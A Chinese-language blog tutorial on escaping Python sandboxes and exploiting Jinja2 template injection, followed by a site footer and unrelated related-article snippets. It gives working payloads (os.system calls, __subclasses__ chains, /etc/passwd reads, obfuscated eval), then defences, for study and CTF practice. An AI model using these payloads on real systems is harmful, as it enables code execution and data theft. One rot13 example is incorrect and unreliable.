沙箱逃逸(Python沙盒逃逸深度解析)

沙箱逃逸(Python沙盒逃逸深度解析)

一、沙盒逃逸的核心目標

執行系統命令
通過調用os.system、subprocess.Popen等函數執行Shell命令,例如讀取文件或反彈Shell。
文件操作
讀取敏感文件(如/etc/passwd)、寫入后門文件。
環境信息泄露
獲取沙盒配置、環境變量或密鑰(如__builtins__中的敏感模塊)。

二、常見攻擊鏈與利用方法

探測沙盒漏洞

基礎測試:注入{{7*7}}或__import__(‘os’).system(‘id’)驗證模板引擎動態執行能力。
檢查內置對象:通過dir()或__builtins__查看可用模塊。
訪問危險函數
直接調用模塊:若未禁用os,直接執行命令:

__import__('os').system('cat /flag')

間接導入:通過字符串編碼繞過關鍵字過濾:

__import__('b64d'.decode('rot13')).system('id')  # 'b64d''os'

類繼承鏈利用

遍歷子類:從基礎類(如object)通過__subclasses__()找到危險類:

''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].system('id')

其中X為os._wrap_close或subprocess.Popen的類索引。
利用文件對象:通過types.FileType或open讀取文件:

types.FileType('/etc/passwd').read()

繞過過濾的技巧

屬性鏈分割:使用getattr|attr()繞過點號過濾:

request|attr('application')|attr('__globals__')['os'].system('id')

編碼混淆:Base64、ROT13編碼命令字符串:

eval('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='.decode('base64'))

利用內聯函數:通過timeit、platform等非敏感模塊間接調用命令:

timeit.timeit("__import__('os').system('id')", number=1)

三、典型沙盒環境與繞過案例

Jinja2模板引擎SSTI

漏洞場景:直接渲染未過濾的用戶輸入,如render_template_string(user_input)
利用鏈:通過{{config}}泄露密鑰,或通過類繼承鏈調用os模塊。
RestrictedPython沙盒

限制機制:禁用__import__、open等函數。
繞過方法:利用__builtins__.__dict__或_getattr_動態獲取危險函數。
CTF題目實戰

常見考點:通過__subclasses__找到warnings.catch_warnings類,其__init__的全局變量包含sys模塊。
文件讀取繞過:使用

().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

四、防御措施與最佳實踐

禁用高危函數
在沙盒配置中移除eval、exec、os、subprocess等模塊,例如:

__builtins__.__dict__.clear() # 清除內置函數
限制模塊導入

白名單機制:僅允許預定義的模塊和函數。
沙盒環境:使用RestrictedPython或PyPy沙盒,限制全局狀態訪問。
輸入過濾與靜態模板

正則過濾:攔截{{、__class__、__import__等敏感符號。
靜態渲染:優先使用render_template而非動態拼接模板。
監控與加固

日志審計:記錄異常代碼執行行為。
容器隔離:將沙盒運行在Docker等隔離環境中,限制資源訪問。

五、歷史漏洞與擴展

CVE-2017-5524:Plone CMS因未過濾Python字符串格式化方法導致沙盒繞過,攻擊者可泄露敏感數據。
Temporal沙盒繞過:通過sandbox_unrestricted()上下文管理器或禁用@workflow.defn(sandboxed=False)完全繞過防護。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/81389.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/81389.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/81389.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

融智學數學符號體系的系統解讀(之一)

融智學數學符號體系的系統解讀 一、道函數(Dao Function) 數學表達式: f(x,y,z)0(狹義) f(x,y,z,ict)0(廣義) 符號解析: x: 形象思維坐標軸 數學意義: 表征基于感官輸入的多模…

Java 中使用正則表達式

1. 引入包 在使用正則表達式之前,需要引入包: import java.util.regex.Matcher; import java.util.regex.Pattern; 2. 常用模式規則 元字符 :這些是正則表達式中的特殊字符,用于匹配特定的模式。 . :匹配任意單個字符(換行符除外)。例如,a.b 可以匹配 "acb&quo…

cat file.tar.gz | tar -xzf - -C /target/dir兩個減號之間為什么有個空格?是寫錯了嗎?(管道命令后續)

在 tar 命令的參數 -xzf - -C 中,兩個減號(-)之間的空格是故意保留的語法,沒有寫錯。具體原因如下: 1. -xzf - 的語法解析 -xzf 是 tar 命令的組合參數: x:表示解壓(extract&#x…

Linux中的系統延時任務和定時任務與時間同步服務和構建時間同步服務器

延時任務 在系統中我們的維護工作大多數時在服務器行對閑置時進行 我們需要用延遲任務來解決自動進行的一次性的維護 延遲任務時一次性的,不會重復執行 當延遲任務產生輸出后,這些輸出會以郵件的形式發送給延遲任務發起者 在RHEL9中默認系統中的所有普通…

C++之IO流

目錄 一、C語言的輸入與輸出 二、流是什么 三、CIO流 3.1、C標準IO流 3.2、C文件IO流 四、stringstream的簡單介紹 一、C語言的輸入與輸出 C語言中我們用到的最頻繁的輸入輸出方式就是scanf ()與printf()。 scanf(): 從標準輸入設備(鍵盤)讀取數據,并將值存放…

Fedora升級Google Chrome出現GPG check FAILED問題解決辦法

https://dl.google.com/linux/linux_signing_key.pub 的 GPG 公鑰(0x7FAC5991)已安裝 https://dl.google.com/linux/linux_signing_key.pub 的 GPG 公鑰(0xD38B4796)已安裝 倉庫 "google-chrome" 的 GPG 公鑰已安裝,但是不適用于此軟件包。 請檢查此倉庫的…

極光PDF編輯器:高效編輯,輕松管理PDF文檔

在日常工作和學習中,PDF文件的使用越來越普遍。無論是學術論文、工作報告還是電子書籍,PDF格式因其穩定性和兼容性而被廣泛采用。然而,編輯PDF文件往往比編輯Word文檔更加復雜。今天,我們要介紹的 極光PDF編輯器,就是這…

MySQL進階(一)

一、存儲引擎 1. MySQL體系結構 連接層: 最上層是一些客戶端和鏈接服務,主要完成一些類似于連接處理、授權認證、及相關的安全方案。服務器也會為安全接入的每個客戶端驗證它所具有的操作權限 服務層: 第二層架構主要完成大多數的核心服務…

OpenCV 圖形API(67)圖像與通道拼接函數-----水平拼接(橫向連接)兩個輸入矩陣(GMat 類型)函數concatHor()

操作系統:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 編程語言:C11 算法描述 該函數用于水平拼接兩個 GMat 矩陣,要求輸入矩陣的行數必須一致: GMat A { 1, 4,2, 5,3, 6 }; GMat B { 7, 10,8, 11,9, 12 }; GM…

1.1 點云數據獲取方式——引言

圖1-1-1點云建筑場景圖 點云數據是指能夠描述外部場景、對象表面的三維空間位置,并具有相關屬性的點集,其每個離散點通常包括三維空間位置(x,y,z)以及強度、顏色等屬性信息。大量分布的離散點集能夠清晰而直接地描繪場景、對象的3…

[Verilog]跨時鐘域數據傳輸解決方案

跨時鐘域數據傳輸解決方案 摘要:跨時鐘域數據傳輸 (Clock Domain Crossing, CDC) 是 SoC 設計中常見且關鍵的問題,因為現代 SoC 通常包含多個時鐘域,不同模塊可能運行在不同頻率或相位的時鐘下。跨時鐘域傳輸數據時,如果處理不當,可能會導致亞穩態 (Metastability)…

Kotlin與Jetpack Compose的詳細使用指南

Kotlin與Jetpack Compose的詳細使用指南,綜合最新技術實踐和官方文檔整理: 一、環境配置與基礎架構 ?項目創建? 在Android Studio中選擇Empty Compose Activity模板,默認生成包含Composable預覽的MainActivity2要求Kotlin版本≥1.8.0&…

預訂接口優化:使用本地消息表保證訂單生成、庫存扣減的一致性

🎯 本文介紹了一種優化預訂接口的方法,通過引入本地消息表解決分布式事務中的最終一致性問題。原先的實現是在一個事務中同時扣減庫存和創建訂單,容易因網絡不穩定導致數據不一致。改進后的方法將業務操作和消息發送封裝在本地事務中&#xf…

計算機網絡——客戶端/服務端,URI與URL的區別,以及TCP/IP核心機制全解析

文章目錄 客戶端/服務端,URI與URL的區別,以及TCP/IP核心機制全解析一、客戶端/服務端通信模型概述二、URI 與 URL 的概念與區別1. URL(統一資源定位符)2. URI(統一資源標識符)3. URI 與 URL 的關系 三、SYN…

柔性PZT壓電薄膜多維力傳感器在微創手術機器人的應用

隨著醫療技術的迅速發展,微創手術機器人正在成為外科手術的重要助手。與傳統開放式手術相比,微創手術創傷小、恢復快、感染率低,對手術器械的精細操控性和感知能力提出了更高要求。多維力傳感器作為機器人“觸覺”的核心部件,對提…

SpringAI整合DeepSeek生成圖表

利用Spring-ai-openai集成DeepSeek ①、在DeepSeek開放平臺創建API KEY ②、創建springboot項目,引入spring-ai-openai依賴,創建配置文件,配置deepseek的url和api key ③、具體的實現業務應用 RestController public class ChatD…

xss-lab靶場基礎詳解第1~3關

第一關 我去&#xff0c;還是得多學基礎啊 http://127.0.0.1/xss-labs/level1.php?name<u>a</u> 這個看他的網站源碼&#xff0c;可以看到他沒有過濾&#xff0c;沒有被編碼 然后在name<script>alert(1)</script>&#xff0c;就算過關了 第二關 …

【MySQL】聚合查詢 和 分組查詢

個人主頁&#xff1a;?喜歡做夢 歡迎 &#x1f44d;點贊 ?關注 ??收藏 &#x1f4ac;評論 目錄 &#x1f334; 一、聚合查詢 &#x1f332;1.概念 &#x1f332;2.聚合查詢函數 COUNT&#xff08;&#xff09; SUM&#xff08;&#xff09; AVG&#xff08;&…

計算機啟動流程中,都干了啥事。比如文件掛在,操作系統加載,中斷向量表加載,磁盤初始化在哪階段。

建議在電腦上看&#xff0c;手機上格式有點問題&#xff0c;認真讀&#xff0c;這方面沒問題的&#xff0c;肝了一天。 目錄.計算機啟動詳解 一.計算機啟動直觀圖二.步驟詳解前置準備磁盤初始化1.開機階段2.執行BIOS階段3.執行引導記錄&#xff08;MBR&#xff09;階段4.操作系…

后端開發技術之Log日志框架

第一章 日志原理 1.1 log發展歷史 從JDK1.4開始提供java.until.logging&#xff0c;后來大佬發現JUL太難用了&#xff0c;就自己手擼了個log4j&#xff0c;后來log4j發現安全漏洞&#xff0c;加上代碼結構問題難以維護&#xff0c;于是從1.2就停止更新log4j&#xff0c;并又重…